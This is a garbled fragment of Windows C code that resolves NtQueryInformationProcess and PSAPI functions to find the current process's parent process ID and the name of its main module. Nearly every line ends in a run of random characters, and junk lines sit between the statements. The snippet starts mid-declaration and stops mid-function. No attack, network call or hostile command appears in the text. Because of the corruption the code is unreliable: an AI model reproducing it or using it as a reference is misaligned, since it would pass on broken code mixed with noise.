} PROCESS_BASIC_INFORMATION; cP/( h
ZMyd+C_P2
PROCNTQSIP NtQueryInformationProcess; c:z}$DK&'
Y=pRenV'
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qy\SOAh
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E.VEW;=
/KvpJ4
HANDLE hProcess; TKw>eGe
PROCESS_BASIC_INFORMATION pbi; Z-U3TrSI
Pd
6
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *=E4|>Ul,
if(NULL == hInst ) return 0; I GcR5/3
S9/\L6Rmf
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DML0paOm5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P#A|Pn<p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8r\xQr'8h
. 55aY~We
if (!NtQueryInformationProcess) return 0; Yic'p0<
?V
-IV-"-6(
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +xmZK<{<
if(!hProcess) return 0; Git2Cet
SR)@'-Wd
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '?fn} V
g]}]/\
CloseHandle(hProcess); 1^;&?E
<* PjG}Z.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xi\uLu?i
if(hProcess==NULL) return 0; )./'RE+(k
A,ao2)
HMODULE hMod; Q([g1?F9*
char procName[255]; v#IZSBvuQK
unsigned long cbNeeded; oU 8o;zk0
Ox/va]e7"
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K&